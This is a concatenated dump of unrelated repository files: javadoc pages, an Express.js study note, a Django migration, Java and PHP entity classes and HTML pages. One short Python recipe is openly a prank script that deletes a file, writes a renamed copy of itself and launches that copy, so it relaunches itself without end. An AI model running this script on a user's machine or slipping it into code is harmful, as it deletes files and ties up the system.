<a href="index-1.html">A</a> <a href="index-2.html">C</a> <a href="index-3.html">D</a> <a href="index-4.html">F</a> <a href="index-5.html">G</a> <a href="index-6.html">H</a> <a href="index-7.html">I</a> <a href="index-8.html">L</a> <a href="index-9.html">M</a> <a href="index-10.html">N</a> <a href="index-11.html">O</a> <a href="index-12.html">R</a> <a href="index-13.html">S</a> <a href="index-14.html">T</a> <a href="index-15.html">U</a> <a href="index-16.html">V</a> <a href="index-17.html">W</a> </div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../overview-summary.html">Overview</a></li>
<li>Package</li>
<li>Class</li>
<li><a href="../overview-tree.html">Tree</a></li>
<li><a href="../deprecated-list.html">Deprecated</a></li>
<li class="navBarCell1Rev">Index</li>
<li><a href="../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="index-15.html">Prev Letter</a></li>
<li><a href="index-17.html">Next Letter</a></li>
</ul>
<ul class="navList">
<li><a href="../index.html?index-files/index-16.html" target="_top">Frames</a></li>
<li><a href="index-16.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
|
kfpotts1/mp.Me
|
index-files/index-16.html
|
HTML
|
mit
| 5,202
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_27) on Wed Nov 21 16:03:52 EST 2012 -->
<TITLE>
org.pentaho.di.ui.trans.steps.xmlinput
</TITLE>
<META NAME="date" CONTENT="2012-11-21">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="org.pentaho.di.ui.trans.steps.xmlinput";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Package</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Class</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-use.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../../org/pentaho/di/ui/trans/steps/xbaseinput/package-summary.html"><B>PREV PACKAGE</B></A>
<A HREF="../../../../../../../org/pentaho/di/ui/trans/steps/xmlinputsax/package-summary.html"><B>NEXT PACKAGE</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../../index.html?org/pentaho/di/ui/trans/steps/xmlinput/package-summary.html" target="_top"><B>FRAMES</B></A>
<A HREF="package-summary.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<H2>
Package org.pentaho.di.ui.trans.steps.xmlinput
</H2>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Class Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD WIDTH="15%"><B><A HREF="../../../../../../../org/pentaho/di/ui/trans/steps/xmlinput/XMLInputDialog.html" title="class in org.pentaho.di.ui.trans.steps.xmlinput">XMLInputDialog</A></B></TD>
<TD> </TD>
</TR>
</TABLE>
<P>
<DL>
</DL>
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Package</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Class</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-use.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../../org/pentaho/di/ui/trans/steps/xbaseinput/package-summary.html"><B>PREV PACKAGE</B></A>
<A HREF="../../../../../../../org/pentaho/di/ui/trans/steps/xmlinputsax/package-summary.html"><B>NEXT PACKAGE</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../../../index.html?org/pentaho/di/ui/trans/steps/xmlinput/package-summary.html" target="_top"><B>FRAMES</B></A>
<A HREF="package-summary.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
</BODY>
</HTML>
|
ColFusion/PentahoKettle
|
kettle-data-integration/docs/api/org/pentaho/di/ui/trans/steps/xmlinput/package-summary.html
|
HTML
|
mit
| 6,599
|
---
layout: post
title: ExpressJs Study Note
categories:
- JavaScript
tags:
- NodeJs
---
This is a study note of the first two parts of the book [Express in Action](https://www.manning.com/books/express-in-action).
## 1. Introduction
Express is a routing + sugar layer on top of Node.js HTTP server that simplifies Node APIs. It introduces a plugin framework and adds new functions such as routing and rendering.
A middleware is a small request handler function in Express. It has full access to the request and response parameters. These functions are chained in a pipeline.
Routing examines request method and URL to call different request handleer functions.
Express allows you to break a large application into small subapplicaitons called routers.
The `let app = express()` creates a request handler object and assigns it to `app`. The `app` is both a function and an object that has many methods for.
* routing requests: `app.METHOD` and `app.param`. The `METHOD` can be `get`, `put`, `post` and so on.
* configuring middleware: `app.route`
* rendering HTML views: `app.render`
* registering a template engine: `app.engine`
## 2. Middleware
In Node HTTP server, all requests are handled by a request handler funciton that takes a request and a response parameters. Express let you use an array of functions chained together instead of a big one. `app.use(function(req, res, next))` installs a middleware.
There are many third-party Express middlewares such as logger (Morgan), body parser, cookie parser, security and so on.
### 3. Routing
You can use path in `app.METHOD` in a syntax like `hello/:who` format. `who` can be accessed as `request.params.who`.
Using `app.use('my-path', my-router)` to setup routers. Each router is like a mini-application that can handle request for a specific path.
### 4. Extending request and response
Express add methods such as `request.ip`, `response.redirect()`, `response.sendFile()` , `response.send()` and so on to the response parameter.
### 5. Views
Express can set views path and view engine.
|
YingLiu4203/yingliu4203.github.io
|
_posts/2017-01-02-expressjs-study-note.md
|
Markdown
|
mit
| 2,070
|
old = '-1.py'
import os
os.remove(old)
data = 'old = \'' + str(int(old[:-3]) + 1) + '.py\'\n'
for line in file(str(int(old[:-3]) + 1) + '.py').readlines()[1:]:
data += line
file(str(int(old[:-3]) + 2) + '.py', 'w').write(data)
os.startfile(str(int(old[:-3]) + 2) + '.py')
|
ActiveState/code
|
recipes/Python/440636_eight_most_annoying_lines_code_I_ever_did/recipe-440636.py
|
Python
|
mit
| 276
|
<!--发布寻人-被寻者填写-->
<div class="bg">
<h4>被助者信息<span>(标*为必填选项)</span></h4>
<div class="info">
<label>姓名*
<input type="text" id="name" ng-model="helped.name">
</label>
<label>性别*
<input type="radio" name="sex" value="男" ng-model="helped.sex">男
<input type="radio" name="sex" value="女" ng-model="helped.sex">女
</label>
<label>年龄*
<input type="number" id="age" ng-model="helped.age">
</label>
<label>地址*
<input type="text" ng-model="helped.address">
</label>
<label>被助者照片
<span>(最多可上传6张)</span>
</label>
<ul class="photo-contain">
<li>
<img src="images/pic.jpg">
</li>
<li>
<img src="images/pic.jpg">
</li>
<li>
<img src="images/pic.jpg">
</li>
<li>
<img src="images/pic.jpg">
</li>
<li class="add-photo">
<img src="images/add-photo.png">
<input type="file">
</li>
</ul>
<label>基本特征
<span>(至少填1项,有利于信息匹配)</span>
</label>
<div class="body-shape">
<label>身高
<select ng-model="helped.character.height">
<option value="160">160</option>
<option value="170">170</option>
<option value="180">180</option>
</select>cm
</label>
<label>体重
<select ng-model="helped.character.weight">
<option value="50">50</option>
<option value="60">60</option>
<option value="70">70</option>
</select>kg
</label>
<label>体态
<select ng-model="helped.character.posture">
<option value="胖">胖</option>
<option value="微胖">微胖</option>
<option value="适中">适中</option>
<option value="偏瘦">偏瘦</option>
<option value="瘦">瘦</option>
</select>
</label>
</div>
<label>备注说明<textarea ng-model="helped.remark"></textarea></label>
</div>
<a class="green-btn" id="test1" ng-click="goNext()">下一步</a>
</div>
|
QuenRocLua/nodejs-express
|
peoplesearch/help.html
|
HTML
|
mit
| 2,581
|
# Contributing
Contributions are **welcome** and will be fully **credited**.
We accept contributions via Pull Requests on [Github](https://github.com/Anahkiasen/isaac-mod-manager).
## Pull Requests
- **[Symfony Coding Standard](http://symfony.com/doc/current/contributing/code/standards.html)** - Check the code style with ``$ composer check-style`` and fix it with ``$ composer fix-style``.
- **Document any change in behaviour** - Make sure the `README.md` and any other relevant documentation are kept up-to-date.
- **Consider our release cycle** - We try to follow [SemVer v2.0.0](http://semver.org/). Randomly breaking public APIs is not an option.
- **Create feature branches** - Don't ask us to pull from your master branch.
- **One pull request per feature** - If you want to do more than one thing, send multiple pull requests.
- **Send coherent history** - Make sure each individual commit in your pull request is meaningful. If you had to make multiple intermediate commits while developing, please [squash them](http://www.git-scm.com/book/en/v2/Git-Tools-Rewriting-History#Changing-Multiple-Commit-Messages) before submitting.
## Running Tests
```bash
$ composer test
```
**Happy coding**!
|
Anahkiasen/isaac-mod-manager
|
CONTRIBUTING.md
|
Markdown
|
mit
| 1,212
|
package org.spoutcraft.api.gui.widget;
import net.minecraft.util.ResourceLocation;
import org.lwjgl.util.Color;
public class Button extends Label {
public static final ResourceLocation DEFAULT_BACKGROUND = new ResourceLocation("spoutcraft", "textures/gui/button_background.png");
public static final ResourceLocation DEFAULT_CLICKED_BACKGROUND = new ResourceLocation("spoutcraft", "textures/gui/button_clicked_background.png");
private ResourceLocation clickedBackground;
public Button(int x, int y, int heightBound, int widthBound, String text) {
this(x, y, heightBound, widthBound, text, DEFAULT_TEXT_COLOR, DEFAULT_TEXT_COLOR, DEFAULT_DISABLED_COLOR, DEFAULT_BACKGROUND, DEFAULT_CLICKED_BACKGROUND);
}
public Button(int x, int y, int heightBound, int widthBound, String text, Color textColor, Color hoverColor, Color disableColor, ResourceLocation background, ResourceLocation clickedBackground) {
super(x, y, heightBound, widthBound, text, textColor, hoverColor, disableColor, background);
this.clickedBackground = clickedBackground;
}
public ResourceLocation getClickedBackground() {
return clickedBackground;
}
public void setClickedBackground(ResourceLocation clickedBackground) {
this.clickedBackground = clickedBackground;
}
}
|
THEDevTeam/SpoutcraftMod
|
src/main/java/org/spoutcraft/api/gui/widget/Button.java
|
Java
|
mit
| 1,264
|
/*
* Property of RECAPT http://recapt.com.ec/
* Chief Developer Ing. Eduardo Alfonso Sanchez eddie.alfonso@gmail.com
*/
package com.recapt.trace;
import java.util.Date;
/**
*
* @author Eduardo
*/
public class Trace {
public static final String TRACE_RESULT_ERROR = "ERROR";
public static final String TRACE_RESULT_SUCCESS = "SUCCESS";
private String operation;
private String usuario;
private Date timeEnd;
private String entity;
private String target;
private String session;
private String thread;
private String tags;
private String result;
private String feeback;
public Trace() {
this.result = TRACE_RESULT_SUCCESS;
this.target = "All";
}
public String getOperation() {
return operation;
}
public void setOperation(String operation) {
this.operation = operation;
}
public String getUsuario() {
return usuario;
}
public void setUsuario(String usuario) {
this.usuario = usuario;
}
public Date getTimeEnd() {
return timeEnd;
}
public void setTimeEnd(Date timeEnd) {
this.timeEnd = timeEnd;
}
public String getEntity() {
return entity;
}
public void setEntity(String entity) {
this.entity = entity;
}
public String getTarget() {
return target;
}
public void setTarget(String target) {
this.target = target;
}
public String getSession() {
return session;
}
public void setSession(String session) {
this.session = session;
}
public String getThread() {
return thread;
}
public void setThread(String thread) {
this.thread = thread;
}
public String getTags() {
return tags;
}
public void setTags(String tags) {
this.tags = tags;
}
public String getResult() {
return result;
}
public void setResult(String result) {
this.result = result;
}
public String getFeeback() {
return feeback;
}
public void setFeeback(String feeback) {
this.feeback = feeback;
}
public boolean readyToSave(){
return (!this.operation.isEmpty() && !this.usuario.isEmpty() && !this.entity.isEmpty() && !this.target.isEmpty() && !this.session.isEmpty() && !this.thread.isEmpty());
}
@Override
public String toString(){
return ("Operation: " + this.operation + " Usuario: " + this.usuario + " Entidad: " + this.entity + " Target: " + this.target + " Session: " + this.session + " Thread: "+ this.thread + " Result: " + this.result + " Result FeedBack: " + this.feeback);
}
}
|
edecisions/recapt
|
src/main/java/com/recapt/trace/Trace.java
|
Java
|
mit
| 2,732
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.1 on 2017-06-25 17:50
from __future__ import unicode_literals
from decimal import Decimal
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('cadastro', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Lancamento',
fields=[
('id', models.AutoField(auto_created=True,
primary_key=True, serialize=False, verbose_name='ID')),
('data_vencimento', models.DateField(blank=True, null=True)),
('data_pagamento', models.DateField(blank=True, null=True)),
('descricao', models.CharField(max_length=255)),
('valor_total', models.DecimalField(decimal_places=2, default=Decimal(
'0.00'), max_digits=13, validators=[django.core.validators.MinValueValidator(Decimal('0.00'))])),
('abatimento', models.DecimalField(decimal_places=2, default=Decimal(
'0.00'), max_digits=13, validators=[django.core.validators.MinValueValidator(Decimal('0.00'))])),
('juros', models.DecimalField(decimal_places=2, default=Decimal(
'0.00'), max_digits=13, validators=[django.core.validators.MinValueValidator(Decimal('0.00'))])),
('valor_liquido', models.DecimalField(decimal_places=2, default=Decimal(
'0.00'), max_digits=13, validators=[django.core.validators.MinValueValidator(Decimal('0.00'))])),
('movimentar_caixa', models.BooleanField(default=True)),
],
),
migrations.CreateModel(
name='MovimentoCaixa',
fields=[
('id', models.AutoField(auto_created=True,
primary_key=True, serialize=False, verbose_name='ID')),
('data_movimento', models.DateField(blank=True, null=True)),
('saldo_inicial', models.DecimalField(
decimal_places=2, default=Decimal('0.00'), max_digits=13)),
('saldo_final', models.DecimalField(
decimal_places=2, default=Decimal('0.00'), max_digits=13)),
('entradas', models.DecimalField(decimal_places=2, default=Decimal(
'0.00'), max_digits=13, validators=[django.core.validators.MinValueValidator(Decimal('0.00'))])),
('saidas', models.DecimalField(decimal_places=2, default=Decimal(
'0.00'), max_digits=13, validators=[django.core.validators.MinValueValidator(Decimal('0.00'))])),
],
),
migrations.CreateModel(
name='PlanoContasGrupo',
fields=[
('id', models.AutoField(auto_created=True,
primary_key=True, serialize=False, verbose_name='ID')),
('codigo', models.CharField(max_length=6)),
('tipo_grupo', models.CharField(choices=[
('0', 'Entrada'), ('1', 'Saída')], max_length=1)),
('descricao', models.CharField(max_length=255)),
],
),
migrations.CreateModel(
name='Entrada',
fields=[
('lancamento_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE,
parent_link=True, primary_key=True, serialize=False, to='financeiro.Lancamento')),
('status', models.CharField(choices=[
('0', 'Recebida'), ('1', 'A receber'), ('2', 'Atrasada')], default='1', max_length=1)),
('cliente', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL,
related_name='conta_cliente', to='cadastro.Cliente')),
],
bases=('financeiro.lancamento',),
),
migrations.CreateModel(
name='PlanoContasSubgrupo',
fields=[
('planocontasgrupo_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE,
parent_link=True, primary_key=True, serialize=False, to='financeiro.PlanoContasGrupo')),
('grupo', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE,
related_name='plano_subgrupo', to='financeiro.PlanoContasGrupo')),
],
bases=('financeiro.planocontasgrupo',),
),
migrations.CreateModel(
name='Saida',
fields=[
('lancamento_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE,
parent_link=True, primary_key=True, serialize=False, to='financeiro.Lancamento')),
('status', models.CharField(choices=[
('0', 'Paga'), ('1', 'A pagar'), ('2', 'Atrasada')], default='1', max_length=1)),
('fornecedor', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL,
related_name='conta_fornecedor', to='cadastro.Fornecedor')),
('grupo_plano', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL,
related_name='grupo_plano_pagamento', to='financeiro.PlanoContasGrupo')),
],
bases=('financeiro.lancamento',),
),
migrations.AddField(
model_name='lancamento',
name='conta_corrente',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL,
related_name='conta_corrente_conta', to='cadastro.Banco'),
),
migrations.AddField(
model_name='lancamento',
name='movimento_caixa',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL,
related_name='movimento_caixa_lancamento', to='financeiro.MovimentoCaixa'),
),
migrations.AddField(
model_name='entrada',
name='grupo_plano',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL,
related_name='grupo_plano_recebimento', to='financeiro.PlanoContasGrupo'),
),
]
|
thiagopena/djangoSIGE
|
djangosige/apps/financeiro/migrations/0001_initial.py
|
Python
|
mit
| 6,744
|
<?php
namespace Listreat\UserBundle\Entity;
use FOS\UserBundle\Entity\User as BaseUser;
use Doctrine\ORM\Mapping as ORM;
/**
* Listreat\UserBundle\Entity\User
*
* @ORM\Table()
* @ORM\Entity(repositoryClass="Listreat\UserBundle\Entity\UserRepository")
*/
class User extends BaseUser
{
/**
* @var integer $id
*
* @ORM\Column(name="id", type="integer")
* @ORM\Id
* @ORM\GeneratedValue(strategy="AUTO")
*/
protected $id;
/**
* @var string $firstname
*
* @ORM\Column(name="firstname", type="string", length=255, nullable=true)
*/
private $firstname;
/**
* @var string $lastname
*
* @ORM\Column(name="lastname", type="string", length=255, nullable=true)
*/
private $lastname;
/**
* @var \DateTime $bday
*
* @ORM\Column(name="bday", type="date", nullable=true)
*/
private $bday;
/**
* @ORM\OneToMany(targetEntity="Listreat\MainBundle\Entity\Shop", mappedBy="creator")
*/
private $myshops;
/**
* @ORM\OneToMany(targetEntity="Listreat\MainBundle\Entity\Follow", mappedBy="user")
*/
private $fShops;
/**
* @ORM\OneToMany(targetEntity="Listreat\UserBundle\Entity\Friend", mappedBy="user")
*/
private $friends;
/**
* @ORM\OneToMany(targetEntity="Listreat\UserBundle\Entity\Friend", mappedBy="friend")
*/
private $visibility;
public function __toString() {
return $this->username;
}
/**
* Get id
*
* @return integer
*/
public function getId()
{
return $this->id;
}
/**
* Set firstname
*
* @param string $firstname
* @return User
*/
public function setFirstname($firstname)
{
$this->firstname = $firstname;
return $this;
}
/**
* Get firstname
*
* @return string
*/
public function getFirstname()
{
return $this->firstname;
}
/**
* Set lastname
*
* @param string $lastname
* @return User
*/
public function setLastname($lastname)
{
$this->lastname = $lastname;
return $this;
}
/**
* Get lastname
*
* @return string
*/
public function getLastname()
{
return $this->lastname;
}
/**
* Set bday
*
* @param \DateTime $bday
* @return User
*/
public function setBday($bday)
{
$this->bday = $bday;
return $this;
}
/**
* Get bday
*
* @return \DateTime
*/
public function getBday()
{
return $this->bday;
}
/**
* Constructor
*/
public function __construct()
{
$this->myshops = new \Doctrine\Common\Collections\ArrayCollection();
$this->fShops = new \Doctrine\Common\Collections\ArrayCollection();
$this->friends = new \Doctrine\Common\Collections\ArrayCollection();
$this->visibility = new \Doctrine\Common\Collections\ArrayCollection();
parent::__construct();
}
/**
* Add myshop
*
* @param \Listreat\MainBundle\Entity\Shop $myshop
* @return User
*/
public function addMyshop(\Listreat\MainBundle\Entity\Shop $myshop)
{
$this->myshops[] = $myshop;
return $this;
}
/**
* Remove myshop
*
* @param \Listreat\MainBundle\Entity\Shop $myshop
*/
public function removeMyshop(\Listreat\MainBundle\Entity\Shop $myshop)
{
$this->myshops->removeElement($myshop);
}
/**
* Get myshops
*
* @return \Doctrine\Common\Collections\Collection
*/
public function getMyshops()
{
return $this->myshops;
}
function asMobileObject()
{
$result = array();
$methods = get_class_methods($this);
foreach($methods as $method) {
if ('get' == substr($method, 0, 3) && !in_array(substr($method, 3), array('Myshops'))) {
$result[strtolower(preg_replace('/(?<=\\w)(?=[A-Z])/',"_$1", substr($method, 3)))] = $this->$method();
}
}
return $result;
}
function asShopMobileObject()
{
$result = array();
$result['id'] = $this->getId();
$result['username'] = $this->getUsername();
$result['email'] = $this->getEmail();
return $result;
}
/**
* Add fShops
*
* @param \Listreat\MainBundle\Entity\Follow $fShops
* @return User
*/
public function addFShop(\Listreat\MainBundle\Entity\Follow $fShops)
{
$this->fShops[] = $fShops;
return $this;
}
/**
* Remove fShops
*
* @param \Listreat\MainBundle\Entity\Follow $fShops
*/
public function removeFShop(\Listreat\MainBundle\Entity\Follow $fShops)
{
$this->fShops->removeElement($fShops);
$fShops->getShop()->removeFollower($fShops);
$fShops->setShop(null);
$fShops->setUser(null);
}
/**
* Get fShops
*
* @return \Doctrine\Common\Collections\Collection
*/
public function getFShops()
{
return $this->fShops;
}
/**
* Set friends
*
* @param \Listreat\UserBundle\Entity\Friend $friends
* @return User
*/
public function setFriends(\Listreat\UserBundle\Entity\Friend $friends)
{
$this->friends = $friends;
return $this;
}
/**
* Get friends
*
* @return \Listreat\UserBundle\Entity\Friend
*/
public function getFriends()
{
return $this->friends;
}
/**
* Set visibility
*
* @param \Listreat\UserBundle\Entity\Friend $visibility
* @return User
*/
public function setVisibility(\Listreat\UserBundle\Entity\Friend $visibility)
{
$this->visibility = $visibility;
return $this;
}
/**
* Get visibility
*
* @return \Listreat\UserBundle\Entity\Friend
*/
public function getVisibility()
{
return $this->visibility;
}
/**
* Add friends
*
* @param \Listreat\UserBundle\Entity\Friend $friends
* @return User
*/
public function addFriend(\Listreat\UserBundle\Entity\Friend $friends)
{
$this->friends[] = $friends;
return $this;
}
/**
* Remove friends
*
* @param \Listreat\UserBundle\Entity\Friend $friends
*/
public function removeFriend(\Listreat\UserBundle\Entity\Friend $friends)
{
$this->friends->removeElement($friends);
}
/**
* Add visibility
*
* @param \Listreat\UserBundle\Entity\Friend $visibility
* @return User
*/
public function addVisibility(\Listreat\UserBundle\Entity\Friend $visibility)
{
$this->visibility[] = $visibility;
return $this;
}
/**
* Remove visibility
*
* @param \Listreat\UserBundle\Entity\Friend $visibility
*/
public function removeVisibility(\Listreat\UserBundle\Entity\Friend $visibility)
{
$this->visibility->removeElement($visibility);
}
}
|
cgeoffray/virtualshops
|
src/Listreat/UserBundle/Entity/User.php
|
PHP
|
mit
| 7,240
|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title> Visualization - Home</title>
<meta name="viewport" content="width=device-width">
<meta name="description" content="Visualization Class at the University of Utah">
<link rel="canonical" href="http://dataviscourse.net/2016/">
<link href='http://fonts.googleapis.com/css?family=Baumans' rel='stylesheet' type='text/css'>
<!-- Custom CSS -->
<link rel="stylesheet" href="/2016/css/main.css">
<link rel="shortcut icon" type="image/x-icon" href="/2016/favicon.ico">
</head>
<body>
<header class="site-header">
<div class="wrap">
<div class="site-title-all">
<div><a class="site-title" href="/2016/">Visualization</a></div>
<div class="site-subtitle">CS-5630 / CS-6630</div>
</div>
<div id="utahLogo"><img id="utahLogoImg" src="/2016/assets/i/utah.svg" alt="utah-logo" onerror="this.src='/2016/assets/i/utah.png'" /></div>
</div>
<div class="wrap">
<nav class="site-nav">
<a href="#" class="menu-icon">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 18 15" enable-background="new 0 0 18 15" xml:space="preserve">
<path fill="#505050" d="M18,1.484c0,0.82-0.665,1.484-1.484,1.484H1.484C0.665,2.969,0,2.304,0,1.484l0,0C0,0.665,0.665,0,1.484,0
h15.031C17.335,0,18,0.665,18,1.484L18,1.484z"/>
<path fill="#505050" d="M18,7.516C18,8.335,17.335,9,16.516,9H1.484C0.665,9,0,8.335,0,7.516l0,0c0-0.82,0.665-1.484,1.484-1.484
h15.031C17.335,6.031,18,6.696,18,7.516L18,7.516z"/>
<path fill="#505050" d="M18,13.516C18,14.335,17.335,15,16.516,15H1.484C0.665,15,0,14.335,0,13.516l0,0
c0-0.82,0.665-1.484,1.484-1.484h15.031C17.335,12.031,18,12.696,18,13.516L18,13.516z"/>
</svg>
</a>
<div class="trigger">
<a class="page-link" href="/2016/feed.xml"></a>
<a class="page-link" href="/2016/"></a>
<a class="page-link" href="/2016/">Home</a>
<a class="page-link" href="/2016/syllabus/">Syllabus</a>
<a class="page-link" href="/2016/schedule/">Schedule</a>
<a class="page-link" href="/2016/homework/">Homework</a>
<a class="page-link" href="/2016/project/">Project</a>
<a class="page-link" href="/2016/tutorials/">Tutorials</a>
<a class="page-link" href="/2016/resources/">Resources</a>
<a class="page-link" href="/2016/fame/">Fame</a>
</div>
</nav>
</div>
</header>
<div class="page-content">
<div class="wrap">
<div class="post">
<article class="post-content">
<p><img src="/2016/assets/i/teaser.png" alt="vis teaser" /></p>
